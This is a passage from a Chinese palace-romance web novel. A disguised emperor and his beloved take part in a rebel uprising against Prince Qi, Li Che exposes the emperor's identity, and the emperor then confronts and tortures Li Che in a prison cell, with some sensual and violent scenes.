昨夜的情形有些特殊,算起来属于小别胜新婚了,才会乱了心神没个节制,但这次他明显克制许多,一切按她能接受的程度取悦着她,煎熬,却又别有一番趣味。 尤其他爱看她哭得上气不接下气,发出小猫般的嘤哼,似舒坦又似急切。 就是赵清仪觉得,这场试探太过漫长了,骨缝里的麻痒不减反增,迟迟得不到抚慰,好不容易得到了,他的废话又前所未有的多,一次又一次突破她的的底线。 深陷情海的赵清仪只能一一回应,再难堪的言语,也在他一而再再而三的挑.逗下脱口而出,到最后,只剩喃喃的只字片语。 她的喘息,她的哭吟,她的哀求,无一不令楚元河心满意足。 “夫人……” 情浓之际,他同样面红耳赤,落在她脸上的目光深情又专注。 克制又沉溺的放肆一回后,他依然与她紧密相连,揽着她一同滑入温泉池中。 后半夜,池中又渐渐泛起浓白,激荡的涟漪回归平静时,天色已蒙蒙亮。 赵清仪被摁在池边,数不清上了几回云端,在她快晕死之际,才被楚元河捞出来,在池外独自躺了许久,勉强缓过神来,秾丽的眉眼皆是懒怠的倦色。 之后倒是睡得格外香沉,醒来时,她已穿戴齐整,楚元河就在她身边不远处,架着火堆在烤鱼。 “什么时辰了?” 她扶着酸软的后腰坐起身,看着明显西沉的天色,整个人都不好了。 她怎么就过上这种昼夜颠倒的日子了。 “还早呢,先吃点东西垫垫。”楚元河递给她一串刚烤好的鱼,“你若喜欢这里,我们可以多待几天,若是不想待了,我们就去旁边的武康逛逛?” 赵清仪想起还在狱中的表哥,“……能来得及吗?” 孟嘉文还在岐王手里,虽说暗处有楚元河的人保护他,赵清仪仍替自己这几日的行为感到羞愧。 楚元河瞧出她的心思,笑道,“当然来得及,救兵都找好了。” 就在赵清仪昏睡之际,暗卫送了消息回来,赵怀义拿着密旨已经集结好两万湖州府兵,此刻就在武康只等一声令下,便可在一日之内赶到钱塘,但眼下还没到岐王约定的时日,他们只需隐蔽自身即可,以免打草惊蛇。 听到父亲的消息,赵清仪大喜过望,迫不及待要去武康见见父亲,但思量再三,还是打消了念头。 “还是回去吧,紧要关头,太招摇不好。”岐王的人说不准就在哪里盯着他们的行踪,为了父亲的安全的着想,现在不是相见的时机。 楚元河依她所言,待到处决孟嘉文当日,他二人领着黑风寨的弟兄潜伏在钱塘县外,探子来报说城中戒严,进出之人皆要接受盘查。 如此一来,他们想扮作平民混入钱塘是行不通了,赵清仪正愁要如何不惊动岐王的情况下混进去,起义军自西北方向浩浩荡荡而来。 短短七日,他们竟集结了不少人马,马蹄飞踏,声势浩大,连地面都要为之震动三分,盘查过路百姓的将士见此情形也吓到了,一面派人通禀上锋,一面紧急关城门。 起义军为首者赫然就是石大锤,过去他们是一帮乌合之众,但有了暗卫与黑风寨兄弟混进去,良莠不齐的起义百姓竟隐隐有了正规军的气势。 战力如何且不论,光着黑压压逼城的架势,足以震慑那些耽于享乐,早就丧失血性的守城将士。 楚元河趁机策马下山,迎上起义军。 石大锤曾在县衙见过楚元河,瞧他就带着几个人便敢往自己跟前凑,还有些惊讶,直到看清跟在后头的曹虎,面上神色恭敬许多。 “元大人。” 曹虎睨了他一眼,“什么元大人,这是郡王爷,你能坐上这个位置,可得多谢郡王在后推波助澜,为你造势。” 石大锤并无将帅之才,当初带头反抗仅仅是求生存求自保而已,而楚元河的出现给了他反抗的机会,让他的声音能传入上京,只要能还百姓安宁,他便是担了反贼之名身死又何妨。 石大锤当即下马,抱拳行礼,“草民一介莽汉,啥也不懂,只要能让俺们老百姓过上安生日子,草民这条命就是郡王的!” 末了,又悄悄看了眼与楚元河同乘一骑的赵清仪,憨笑两声,“想必这位就是郡王妃了,草民也给郡王妃见礼!” 其余人纷纷起哄,也有趁机吹捧他二人天造地设,天生一对的。 虽然楚元河并不是真的平西郡王,但见外人眼中,他与赵清仪是登对的,他还是情不自禁堆起笑意,寒暄过后,便掉头率领起义军闯入钱塘。 原先在城门口负责盘查的将士早就跑了,而城中百姓有人认出了石大锤,也有人认出了黑风寨的土匪,这帮人可不好惹,百姓们全都害怕得退避三舍。 楚元河与赵清仪就这么毫无阻碍的领着人马,直奔菜市口。 楚元河这个“县令”不在了,周县丞又跑了,如今行刑台上的主官赫然是杜知府。 士兵哆哆嗦嗦禀报说起义军攻进来了,老神在在的杜知府当即从椅子上跌下来,官帽都歪了,不等他爬起来质问,起义军便以极快的速度包围刑场。 杜知府肥胖的身子吓得抖了三抖,在衙役们的搀扶下勉强爬起来。 楚元河端坐在马上,笑吟吟打了声招呼,“杜大人,别来无恙啊。” 当日他带赵清仪杀出江家庄子前,他们彼此见过面,后来杜知府与其他官员才知晓楚元河是平西郡王。 而后岐王下令追捕,他们每个人手里都有楚元河与赵清仪的画像,现如今整个钱塘对平西郡王几乎是无人不知无人不晓。 杜知府颤着手指着楚元河的鼻子,色厉内荏道,“平西郡王你……你集结这帮乌合之众,是要造反吗?” “谁才是乱臣贼子还说不准呢。”楚元河随手拿过旁边一人的铁斧把玩,当场细数杜知府与岐王这些年的种种罪行,贪腐受贿,卖官鬻爵,强抢民女,杀人害命…… 随便列举几项罪名,便将杜知府那张肥胖的脸吓得煞白无比。 那些忌惮的百姓躲在暗处,听闻楚元河字句铿锵列出了知府大人的诸多恶行,再看起义军时,眼神里的支持已经多过于害怕,甚至有胆大者出来叫好,扬言要郡王严惩贪官。 楚元河不负众望,话音一落,手里的铁斧便狠狠朝杜知府的面门掷去。 杜知府吓得哇哇大叫,一屁股跌坐在地,铁斧好巧不巧落在他裤、裆中间,将他的官袍钉在地面。 杜知府又是“嗷”的惨叫,地面很快泅出一滩尿迹,惹来起义军与围观百姓的轰然大笑。 随着楚元河懒洋洋的一挥手,曹虎抄家伙率先带领弟兄们跃上刑场。 杜知府的脸一阵青一阵白,扯出被铁斧钉住的裤子连滚带爬起身,其余官吏也被这一幕吓到抱头鼠窜,连抵抗的心都没有。 只剩跪在地上的孟嘉文畅快大笑,他忍耐这帮狗官太久了,直至今日他见到表妹…… 呃,虽然表妹是在一个男人怀里,还是他在上京见过的平西郡王。 没成想,表妹最后会与平西郡王在一起。 但只要想到表妹与表妹夫来救自己了,孟嘉文便喜不自胜,大笑之余不忘啐了狗官两句。 杜知府见状厉声吩咐刽子手行刑,速速砍了孟嘉文。 人群中射出一箭,径直贯穿刽子手的手臂*,鲜血喷溅而出,溅在孟嘉文的脸上,下一瞬,脖颈上的枷锁被人一剑劈开,曹虎上前将人扶起来,随后起义军们不再客气,亮出兵器冲向知府。 衙役与守城将士当即后撤,杜知府因大腹便便行动迟缓,当场被石大锤追上,一刀了结,人群中再度爆发出阵阵欢呼。 只有赵清仪,眼前被一双大手遮挡,并未看见那鲜血飞溅的场面。 楚元河在她耳畔,声音温柔,“听话,别看,免得脏了眼睛。” 赵清仪便没有再动,任由那只手覆在她眼前。 李彻带着岐王亲卫赶到时,孟嘉文已经被起义军救走了。 看着地上躺着已然气绝身亡的杜知府以及几个小吏,李彻脸色阴沉。 岐王的亲卫不同于这帮酒囊饭袋,顷刻展开护在前头,岐王大驾这才在后头不紧不慢的晃悠而来,曹虎与石大锤被那气势镇住,连忙制止身后的弟兄莫要妄动。 两边维持着诡异的平静,谁也没敢动手,而是各自攥紧了手里的兵器。 李彻的视线很快落在楚元河身上,青天白日,对方又没刻意遮掩,那张俊美至极的邪肆笑脸,就这般明晃晃闯入他的眼帘。 反观李彻,仍是一身黑色斗篷,遮盖了面容,只露出一双阴鸷的眼眸。 可楚元河还是认出了他,薄唇渐渐勾起一抹挑衅讥诮的弧度,那危险的气势转瞬倾轧而至。 李彻是恨他的,恨这帝王不要脸,两世觊觎他的妻子,可曾经受过的痛苦又令他不得不忌惮,甚至是胆怯。 旁人不知楚元河身份,他却清楚,眼前是大梁至高无上的皇帝陛下,他居然亲自来了浙江,来了钱塘。 是为了赵清仪的父亲和表兄么? 呵,陛下还真是尽心尽力,他爱惨了赵清仪吧。 李彻心中闪过无数个念头,藏在宽大袖摆下的双手紧握成拳。 楚元河从李彻的眼神中看出了太多东西,有惊骇,憎恨,嘲讽,更有对他这个“外室”的不屑与嫉妒。 可他偏偏受用,与此同时,他心里隐隐有了某种猜测。 以这一世李彻的窝囊,对方可不敢用这样的眼神瞪他。 “夫人。” 楚元河垂首,凑到赵清仪耳畔,几乎与她脸贴着脸小声说道,“你前夫正看着我们呢。” 赵清仪身子一僵。 楚元河能感受到,掌心之下轻轻颤动的眼睫,大手缓缓下移,在她白嫩的侧脸上流连,“你说,究竟是我好,还是他好?” 他的气息贴得很近,赵清仪缓缓睁开眼帘,便与他四目相对,对方眼底噙着笑意,和一丝说不清道不明的晦暗。 这样的眼神,往往意味着危险到来。 赵清仪瞬间警觉,甚至没有转头看向前方的李彻,“当然是你好,他……他怎能与你相提并论?” 有过这几日的相处调.教,赵清仪觉得自己变机灵了,至少不似从前那般笨嘴拙舌,如今说的话,十句有九句都是眼前男人爱听的。 楚元河听得心里爽快,落在她脸颊的大手仍在细细抚摸,爱怜中又夹杂着一丝难以忽视的黏腻暗示,“那你再说说,我哪里比他好?” 大庭广众之下,这般挑.逗令赵清仪羞愤欲逃,她的脸肉眼可见浮现出两抹暧.昧的红晕。 脑中一转,她捡了楚元河或许满意的答案,“我与他又不曾亲近,这……如何比较……” 前世那些糟心的记忆,已逐渐被楚元河覆盖,她确实想不起来了,她只记得与眼前男人在一起的每个瞬间,记得他带给她身与心的欢愉,便足够了。 楚元河却不想轻易放过她,亲着她泛红的耳垂追问,“那你喜欢我吗?满意吗?” 尽管这低语只她二人能听见,赵清仪还是羞得心跳加快,耳根发麻,支支吾吾点头,“满、满意得……不能再满意了……” 说完,她闭上眼,一副视死如归的姿态,羞耻死了,她怎么能说出这种话来。 但楚元河无比受用,“这话我爱听,回头多说几遍。” 这一句他刻意拔高了声调,末了又咬着她的耳朵低语,“最好榻上也多说说,我会更受用……” 她根本不懂,男人情动时听到这些话能有多兴奋。 楚元河与她亲昵耳语之余,不忘抬眸浅笑,直勾勾看向李彻,眼神充满挑衅,显然是胜利者睥睨蝼蚁的姿态。 “真可惜,还是晚了那么一小步,到底是让他先娶了你。” 赵清仪更不敢去看别的男人了,“……这都什么陈年老醋,还要翻出来吃吃?” 楚元河不着痕迹地撅了撅嘴,“你瞧我身边,何曾有过旁的女人?” 他这里,可没有醋给她吃,她自然不晓得他的心情,男人的嫉妒心与攀比心是很可怕的。 赵清仪越发心虚,脑袋恨不得埋进他胸膛里再不要见人了。 “好了,这事又不怪你。”楚元河揉着她的后脑勺,眼神一瞬化作凌厉,“要怪……就怪他。” 李彻,为什么还有脸活着? 两世了,他都没点自觉吗? “今日且看本王拧了他的头,拿来给你当球踢。” 80-90 第81章 第81章“拜见……陛下。”…… 赵清仪闻言豁然抬起头,见楚元河不似开玩笑,她心头猛的跳了一下。 “舍不得?” 楚元河微微眯眼,要从她脸上看出破绽。 赵清仪茫然摇头,她当然不会舍不得,更不能同情李彻,只是她惊讶于他的决定。 他怎么瞧着,比自己还恨李彻? 仅仅因为李彻是她的前夫? “……你随意,高兴就好。”赵清仪还是选择自保,李彻是死是活,和她没关系了。 他二人的窃窃私语,落在外人眼中便是你侬我侬,李彻漆黑的眼底快要喷出火来。 原来离了他的赵清仪,和别的男人也能如此快活自在! 还当着他的面举止亲密,就是为了刺激他,想看他吃醋,看他发疯吗? 不,他才不会让赵清仪如愿! 他不在乎! 他只想他们死! 这一刻,李彻将前世临死前遭遇酷刑而萌生的嗔恨,尽数转移到赵清仪身上,如果不是这个红颜祸水,前世的他根本不会落到那个境地。 这种关头,这对奸夫淫.妇还能做出如此不知廉耻的亲昵之举,现在有多得意,一会儿他们就会败得多惨烈! 李彻心里阴暗的诅咒着,岐王暴怒的呵斥声传来。 “废物!你们一帮废物!” 岐王见到了杜知府的尸首,也看到了被解救的孟嘉文,他没想到自己招揽的人这般不中用,竟敌不过一帮临时集结的起义军。 他恶狠狠瞪了李彻一眼,“你不是说万无一失吗?怎么人死了,筹码还没了?!” 李彻瞬间收拢心思,低眉顺眼道,“殿下莫急,至少,人已经来了不是吗?” 起义军加起来才多少人?一帮乌合之众,良莠不齐,又岂会是岐王的对手,此刻,李彻对岐王还是充满信心的,“只要拿下平西郡王,起义军便不攻自破。” 岐王顺着李彻的话,看向前头骑着踏雪的楚元河。 他虽有王爵,是当今陛下的皇叔,可他早早就藩,极少入京,也没见过陛下真容,这会儿见到楚元河,岐王眯眼打量,语气不屑,“你就是平西郡王?” 同时他也注意到坐在楚元河身前的女子,认出赵清仪的那一刻,岐王蓦然发笑。 “哦?还有宸华县主?” 有意思,上回花神宴叫她逃了,他一直以为赵清仪是陛下的女人,原来竟是他想岔了。 这女人好手段,一面勾住圣心,一面又在钱塘与平西郡王暧昧不清,而如今,旁边还有个前夫李彻。 真是个厉害女人,同时将三个男人玩弄于鼓掌间。 岐王实在想笑,挑眉呵斥楚元河,“小郡王,你与县主这是……想造反?” 一开口就往二人身上泼脏水,要造反谋逆的分明是岐王! 赵清仪作势要反驳,被楚元河按下。 他斥责岐王的桩桩罪行,扬言一切是顺应民意,“本王乃皇室宗亲,维护大梁江山稳固,自然也要顺从大梁子民的心意,今日本王便来替天行道,铲除你们这帮乱臣贼子,还浙江一个安定。” 岐王仿若听了个笑话,民意?就楚元河身后那帮贱民吗? 他压根不信一帮临时集结的贱民,能敌得过他倾尽心血培养的亲卫,不仅如此,他还有私兵,今日定要这帮人有来无回。 岐王一声令下,命人擒住平西郡王与宸华县主。 曹虎当然不让,带着黑风寨的弟兄冲在前头,随后是混在起义军里的暗卫,这些人才是真正的核心,个个以一顶十,而岐王此行带的人并不多,勉强应付。 至于石大锤身后的那帮百姓,他们训练时日尚短,冲上前只能送死,楚元河让人拦住他们,只让他们守在外围捡漏,杀几个逃兵便罢。 岐王没料到自己花费无数军资豢养的亲卫如此不堪一击,吓得连连败退,打算从水路先逃,留得青山在不怕没柴烧,他的私兵还没动用呢,等私兵赶到,楚元河就死定了。 对,他不可能败的,他只是需要时间等私兵赶到,眼下还是保命要紧。 岐王只是个富贵乡里娇养的宗室子弟,既没上过战场,也没见过两军厮杀的血腥,此刻给自己找好理由只想逃。 没成想,等亲卫护送他逃至码头时,竟被漕帮的人截断退路。 岐王大惊失色,再次瞪向李彻,气急败坏之下狠狠掴了他一耳光,“你不是说安排好一切了吗?接应的人呢?船呢?” 李彻也始料未及,扫了眼气势汹汹的漕帮,他也不知哪里出了差错,事先他确实安排好了退路,可如今看来,漕帮的人反了他们。 眼看楚元河的起义军逼近,岐王站在码头,无处可逃,立即让李彻放出信号弹召集岐王府私兵。 尽管心里后怕,岐王嘴上却很笃定,“你不能杀我,我是岐王,乃天潢贵胄!饶是你父亲来了,见到我也得客客气气,而你,区区一个郡王,若敢对本王动手就是以下犯上!” 又威胁楚元河若识相,最好即刻退兵放他离开。 明眼人皆能看出,岐王是在拖延时间等待私兵。 楚元河也不急,他既出手了,自然要将岐王的私兵一同拿下,便不急着杀他,只让人围住他们的去路,等待私兵前来自投罗网。 岐王见他不为所动,忍不住去看他怀里的赵清仪,讽笑出声。 花神宴当日,赵清仪得禁军庇护逃出了自己的掌心,可见此女与陛下关系匪浅,除了陛下,也没人能调动禁军副统领林锋。 为拖延时间等待私兵,岐王故意挑衅道,“宸华县主好手段,一个和离妇,前头勾搭了我那皇帝侄儿,如今怎么又坐到平西郡王怀里了?” 他咧嘴,笑得恶劣,“还是说……我那不争气的侄儿,为笼络人心,把自己的女人献出去了?” 据他所知,平西郡王不过一介武夫,胸无点墨,他此番话存心挑拨离间,就想看楚元河冲冠一怒为红颜,打乱围剿自己的计划。 果然,楚元河似笑非笑的俊容沉了下来。 岐王以为自己说的话成功激怒了他,又说起花神宴上,赵清仪是如何与陛下暗通款曲。 赵清仪气到胸口一阵起伏,若非当日事发时她与楚元河在一起,岐王这番话定会挑起她与楚元河之间的误会。 她当下便解释自己与陛下毫无瓜葛,她不是岐王口中脚踏两只船的女人。 旁人如何揣测她不在乎,但她在乎楚元河的想法。 楚元河握了握她的手表示信任,没人比他更了解赵清仪的清白,从头至尾,她都是他的人,岐王这手挑拨离间用错地方了。 楚元河哂笑两声,暗叹岐王愚蠢,不过自他长成后,他不曾以皇帝的身份见过岐王这位皇叔,对方没认出他情有可原。 他缓缓弯弓搭箭,对准岐王。 岐王满嘴的污言秽语戛然而止,似乎没料到楚元河会恼羞成怒先冲自己下手,死到临头还在挑拨,“我可不曾对她做过什么,你要怒要恨,也该恨你的堂兄才是!你要恨的人是小皇帝!” 末了,他又放软语气想策反楚元河,只要今日站在他这里,来日他大业一成,就封楚元河做藩王,还会为他们赐婚。 楚元河始终不为所动,只摆弄弓箭,询问赵清仪要射哪里好呢。 赵清仪见他神色平静,并未受到岐王挑拨,心下稍安,那弓箭便到了她的手里。 楚元河握着她的手,教她如何瞄准,随着弓弦“嗡”的一声震颤,锐利的箭矢直直射向岐王的头顶,擦着对方的头皮掠过,将他头顶的玉冠瞬间击碎。 岐王惊惶惨叫,接连后退数步,才发现射中的是玉冠,紧束的发丝散落下来,乱糟糟地挂在脸上,哪里还有先前天潢贵胄的风度翩翩。 楚元河抓着赵清仪的手再次搭起一箭,千钧一发之际,岐王的私兵终于赶到,顷刻将他们在内的所有起义军包围起来。 见到了自己的人,岐王一扫面上的狼狈猖狂大笑。 赵清仪的心立时悬了起来,就见楚元河握着她的手,对着头顶的天放出一箭,箭矢破空发出“咻”的锐鸣,下一刻,地面也为之震颤。 所有人的目光下意识循声望去。 赵清仪也不例外,当她遥遥望见一道穿着绯色官袍的熟悉身影策马而来时,眼底顿时蓄满泪水。 “父亲?” 失踪已久的赵怀义就这般毫无预兆地出现了,手持兵符,率领一队精锐骑兵浩浩荡荡赶来,口中高呼,“圣旨在此,逆贼还不速速伏诛!” 随着而来是震天动地的呼喊,数千名将士口呼“诛反贼,护国祚”,将岐王党团团包围。 赵怀义这才得空看向女儿,朝她颔首,好让女儿安心,可目光一转,瞧见女儿身后的楚元河时,他神色微变。 赵清仪察觉到父亲的目光,脸蓦地红了,她与楚元河的关系已经摆到了明面上,忽然叫自己的父亲撞见,这种尴尬不亚于被孟氏发现。 万万想不到,会以这样的方式让父亲知晓。 好在赵怀义很快收回目光,驭马挤入人群宣读诛杀逆贼的圣旨。 岐王势力主要在钱塘一带,其余拥趸皆为王家为首的名门望族,这些世家几乎渗透了整个浙江官场。 赵怀义在推行新政时便察觉到这一点,若无安排,他在浙江只会是死路一条,之后他便配合陛下的计划金蝉脱壳,佯装被杀下落不明,目的就是为了摆脱岐王等人的势力,携带密旨与虎符去往湖州借兵。 之后赵怀义带着兵马潜伏武康,就等岐王亮出底牌后,他好以平叛的名义出兵讨伐,将岐王以及拥护岐王的世家一网打尽。 内阁此刻在上京亦有所行动,有张首辅与长公主坐镇,联手司礼监与锦衣卫,王次辅等人已经无法全身而退,等待他们的将是雷霆之怒。 而谋反这般大的罪名,饶是太皇太后出面也保不住王家。 眼看岐王大势已去,那些豢养不久的私兵们纷纷缴械投降,只余少数亲卫还护在岐王身侧,却也战战兢兢。 李彻悄然后退,待他退到岐王身后时,忽然拔出亲卫的佩剑,一剑刺向岐王。 因赵怀义的突然出现,岐王还陷在惊恐之中,来不及做出反应就被李彻从后暗算,他猛然瞪大眼睛,目眦欲裂,想质问李彻为何背叛他。 李彻抿唇不语,握着剑再次往前一送。 岐王嘴角溢出鲜血,想到自己居然败在信任的幕僚手里,他便死不瞑目。 李彻仍是面无表情,清瘦的手慢慢揭开斗篷,露出一张久不见天日的苍白面容,在岐王憎恨的眼神中,他用力抽出长剑,鲜血喷涌溅了他一身。 岐王身子晃了晃,再如何不甘,终究是倒了下去。 亲卫们面面相觑,主子都死了,他们还有负隅顽抗的必要吗?横竖都是一死。 正犹豫不决,李彻丢下剑跨过岐王的尸首走上前,被曹虎等人阻拦后,他双膝跪地,冲楚元河抱拳一礼。 “微臣潜伏岐王身边多日,忍辱负重,所幸最终不辱使命。” 李彻字字铿锵,一副大义凛然的姿态,说罢朝楚元河郑重磕头一拜,“微臣李彻,拜见……陛下!” 第82章 第82章她知道陛下你是什么样的…… 在场众人皆是一愣。 陛下? 陛下来了? 除了暗卫与曹虎,其余人并不知晓楚元河的身份,曹虎几人下意识想替他遮掩。 就听楚元河皮笑肉不笑道,“本王此行只为拨乱反正,李彻你一个戴罪之身,还是少自作聪明为好,这大梁……只有一个陛下。” 他以为杀了岐王抢了平叛头功,就能洗去这一身罪孽么?还妄图诈出他的身份。 楚元河冷冷说罢,递去一个警告的眼神。 眼前的李彻果然不对,居然认出了自己,某种猜测在他心底呼之欲出。 ——李彻重生了。 思及此,楚元河周身的气压愈发冷肃。 赵清仪不着痕迹对上了李彻阴鸷的眸光,又侧头看了眼楚元河,心里已经有了怀疑。 她将过去所有的事情串联起来,这其中不是没有疑点,只是楚元河伪装得太好了,或者说……是他对她太好了,以至于她下意识地不想揭穿这一切。 直至今日,直至李彻那声“陛下”,像是顷刻打通了她所有想不通的关窍。 凡是她起疑的,认为不合理的,只要套进这个身份,又似乎一切都解释得通了。 楚元河他…… 他骗了自己么? 赵清仪的思绪骤然沉下,恍若置身寒潭。 楚元河搂着她,感受着怀中人发出的细微颤抖,那一刻他暗道不妙,怎么也没料到会是在这种情形下暴露。 李彻跪在地上,凝视着赵清仪逐渐惨白的面色,缓缓笑了起来。 赵清仪果然是被蒙在鼓里的那个,她根本就不知道,她什么都不知道! 可偏偏赵清仪是最厌恶最痛恨欺骗的人,她知道楚元河在骗她了,她一定会愤怒! 就像前世得知他与赵漫仪有私情,得知他有私生子那般的愤怒,继而推开楚元河。 反正他李彻得不到的人,那个疯子也休想得到! 李彻的笑意味不明,又欲开口说话,曹虎冲上前扭住他,要将他拖走。 李彻不肯,执拗地跪在原地,为了稳住身形,他双手撑地,分明是卑微到尘埃里的姿态,他带血的脸却充满了得意,为自己的挑拨感到兴奋。 他太期待了,他想看看,赵清仪得知自己又一次被男人欺骗后,会是何种表情? 而陛下在失去赵清仪后,又会如何痛苦? 曹虎使劲儿拽李彻,可他就是不肯走,无奈之下,就想拿块汗巾堵住他的嘴,以免他再说些不该说的。 楚元河便在此时下马,缓步踱至李彻身前。 李彻知道,楚元河想杀自己,他投靠岐王败了,可方才他也当着所有人的面杀了岐王,又说出那样一番话,如今他在外人眼里,就是平叛的功臣之一,楚元河不能动他。 动他,势必会寒了众人的心,这也是李彻为自己搏的最后一条退路。 楚元河缓缓蹲下身,与他眼神对峙,毫不掩饰那股杀意。 李彻心头一咯噔,隐约觉得这眼神熟悉。 紧接着,他就听到一声低低的疑问,说是疑问,语气又很肯定。 “你重生了。” 李彻瞳孔颤动,那种熟悉的不寒而栗再度笼罩全身。 楚元河的声音很低,只有他二人能听到,看着李彻惊骇的神色,他心下了然。 既然重生了,那就再杀一次,这一次,他要将李彻留着继续折磨,挫骨扬灰。 “你不能杀我……” 李彻努力平复自己的心情,深吸口气道,“陛下,我可是亲手斩杀岐王的功臣!” 为君者,无不爱惜自己的羽毛,正因如此,陛下两世觊觎他的妻,又都不敢明目张胆的强取豪夺。 “陛下,清仪是微臣的妻子,微臣与她夫妻二十载,微臣才是最了解她的人,她这个人脾性最是温和,唯独讨厌欺骗。” 李彻絮絮说着,再次露出得意的笑,“我养外室欺骗了她,所以我李家覆灭,我妻离子散,而今陛下隐瞒身份接近她,欺骗她,陛下也不会有好下场的……” “纵然你是帝王又如何?骗来抢来的,终究留不住……哈哈哈……” 李彻越说越兴奋,瞳仁里闪烁着癫狂,看着楚元河阴沉的脸色,他再压抑不住低低地笑起来,那笑声阴森又畅快。 楚元河好看的唇几乎抿成了一条直线,终于,他也在李彻的笑声中勾了勾唇角。 他一笑,李彻本能地感到不寒而栗,而他的直觉显然极准,面前的男人陡然抽出一柄匕首,匕首在男人修长的指尖转动后,狠狠刺向他的掌心,将他的右手掌用力钉入地面。 李彻口中爆发出一阵惨嚎。 他的手……他的手! 他瞪大眼,凸起的眼球布满血丝,剧烈的疼痛让他浑身沁出了冷汗,大颗大颗的从额角滚落。 楚元河唇边笑意凝视,握着匕首慢慢拧了一圈,“好好想想,什么话该说,什么话不该说……” 这熟悉的疼痛,纵然前世经历过无数遍,李彻依旧无法适应,额头脖颈全是暴起的青筋,痛苦嚎叫过后便晕死过去。 围观众人皆是吓得后退半步,他们离得远,并未听清这二人究竟说了什么。 见人晕了,楚元河才抽出匕首,在李彻身上擦干了血迹,才让曹虎把人带走,暂且关押在县衙大牢里。 而楚元河是背对着赵清仪动的手,赵清仪也只是听见了惨叫,直到李彻的身影被人拖走,她才瞥见那只血肉模糊的手掌,心尖忍不住颤了颤。 楚元河整理好情绪,回过头时面上是温和的笑,想尽可能装作与平常无异,可当他撞见那双陌生的杏眸,那一丝侥幸瞬间溃散。 他僵在原地,不知是进是退。 赵清仪沉默片刻,收回目光,一如往常的柔和语气,“走吧。” 他这才小心翼翼地上了马,只是环住她腰肢的臂膀更用力了。 “般般……” 他屏住呼吸,试探着想与她说话。 赵清仪岔开话题,“我累了。” 终止了他余下的所有言语。 楚元河不再勉强,准备先回县衙安顿。 赵怀义缀在后头,望着二人同乘一骑远去的背影,欣慰之余,又叹了口气。 李彻那声“陛下”,他不是没有怀疑。 或许连楚元河自己都未曾察觉到,他在自己女儿面前无意识暴露出的那一丝慌乱,至此已无须多问,楚元河的真实身份呼之欲出。 赵怀义回想起此前种种,想起对方明里暗里的照拂,说不感动是假的,可一想到楚元河的身份,他便摇头长叹。 让女儿入宫为妃,并不是理智的选择。 可事已至此,明眼人都看出女儿与楚元河关系匪浅,回京之后,不嫁他,女儿又如何自处? 赵清仪一路也在想这个问题,好几次楚元河想开口解释,全被她堵了回去。 她并不想听到那个答案,她宁可从头到尾,楚元河只是个闲散郡王,只要他不说,她情愿继续陷在这个谎言里。 可这样的自我麻痹持续不了太久,当晚赵清仪辗转反侧,还是决定去大牢向李彻问个究竟。 已近子时,看守牢房的衙役们三三两两打着盹,赵清仪一路畅行无阻,到了甬道最深处,隐约听到了熟悉的声音。 “陛下自恃身份,强夺臣妻,如今深夜前来,是想杀人灭口?” 李彻被绑在木桩上,浑身湿淋淋的,显然是被人用盐水泼醒的,而他面前的木桌上,陈列着各式各样的刑具,这一幕与前世一般无二。 李彻瞥了眼,懒散地收回目光,强装出镇定自若的模样。 曹虎拎了一把太师椅进来,楚元河悠闲坐下,长腿交叠,单手扶额,“你错了,她是朕的妻,何来强夺臣妻一说?” 他已经确认了,李彻就是重生的,既如此,他也没有隐瞒的必要,双方打开天窗说亮话。 听他毫不避讳地承认了,李彻不甘示弱道,“陛下让太皇太后下旨废除婚约,也不过是自欺欺人罢了,你很清楚,我与清仪,是有夫妻之实的。” 这一世没有,可前世有,前世,赵清仪就是他的妻,不仅如此,还小心侍奉了他二十年,这是楚元河比不了的。 李彻想以此刺激楚元河失控,可对方比他想象中更沉得住气。 阴暗地牢回荡起男人轻蔑的笑,“一段名存实亡的婚姻,算什么夫妻之实?” “是吗?” 李彻带血的嘴角扯出一抹讽笑,“陛下若不在意,今日又何必与清仪故作亲昵,难道不是在向臣炫耀什么?” “也是,这一点陛下还真比不了,微臣曾八抬大轿迎娶她,而她的名姓也入了我李家族谱,纵有懿旨,她也是告慰过我李家祖宗的儿媳,而陛下呢?” “陛下口口声声说她是你的妻,证据呢?谁又知道呢?不说旁人,清仪知道吗?她知道陛下你是什么样的人吗?” 连最真实的自己都不敢现于赵清仪面前,还敢说他们才是夫妻?快笑死人了。 从落到楚元河手里那一刻,李彻就知道自己难以善终,他破罐子破摔,索性畅所欲言了,言语间毫不掩饰自己的恶意与讥讽。 再艰难的处境,楚元河也从来是胜券在握的姿态,但这一刻,他不免愠怒,搁在椅子扶手上的修长指节默默攥紧。 “这就不劳你操心了,她是朕的女人,朕自会风风光光迎娶她,给她皇后之尊,而你,注定是两辈子的阶下囚。” 李彻只悔恨,恨自己重生太晚,他笃定这一世他与赵清仪和离,就是楚元河在暗中谋算,“陛下还真是一如既往的自信,你骗了她这么久,甚至毁了她的姻缘,你以为她知道真相后,还会心甘情愿待在你身边?” 楚元河的手微不可察地一抖,其实他也心虚,对于赵清仪,他没有十足的把握。 此前赵清仪给过他数次坦白的机会,他都没有坦诚,想必此刻忆起他的欺骗,该生气了,她那样倔强的一个人…… 楚元河喉头微动,强迫自己暂且不要去想,他撩起眼皮,沉默看向李彻那副幸灾乐祸的嘴脸。 男人的胜负心起,他不想认输,一字一顿道,“她会答应的。” 在此之前,赵清仪已经答应了嫁他为妻,既是嫁他,那他究竟是何身份,想来也不是那么重要,回头他哄一哄,他认错,怎么罚都可以。 楚元河努力在心里安慰自己。 “陛下少宽慰自己了,不会有例外的。”李彻还在刺激他,“欺骗她的人,都不会有好下场,最后我们都一样,呵呵……” 却不料这番话似打通了楚元河的任督二脉,黑暗中,那双桃花眼陡然发亮。 “朕和你,不一样。” 他似乎一瞬间找回了底气,换了个更闲适的姿势直起腰,清朗的嗓音掷地有声,“因为……我爱她是真的。” 他承认,他接近她是别有用心,可从头至尾,他没有伤害过她,他的感情是真的,以般般的聪慧,一定能感受到他的真心。 李彻愣住,没料到堂堂帝王,九五之尊,居然会说出这种话来,这是连他都不屑说出口的。 什么爱不爱,自欺欺人的把戏,他都不敢说自己爱过谁,楚元河又怎么可能? 他是帝王!天家最是无情! 楚元河打量他的神色,便知没有再谈下去的必要了,李彻活了两辈子,都不可能懂得真心可贵。 他站起身走到李彻跟前,掐住对方手上流血的肩头,那还是刚添的伤,新鲜得紧,指尖稍稍用力一压,便有温热黏稠的血渗出来。 “这一世,朕不会轻易杀了你,毕竟死于你而言,才是解脱。”他要留着李彻,让李彻亲眼见证自己风光迎娶般般。 在李彻隐忍的闷哼声中,楚元河松开手,走到满是刑具的长桌前,拔出长剑砍断束缚李彻手脚的缰绳。 李彻毫无防备,身子如破布般跌落在地。 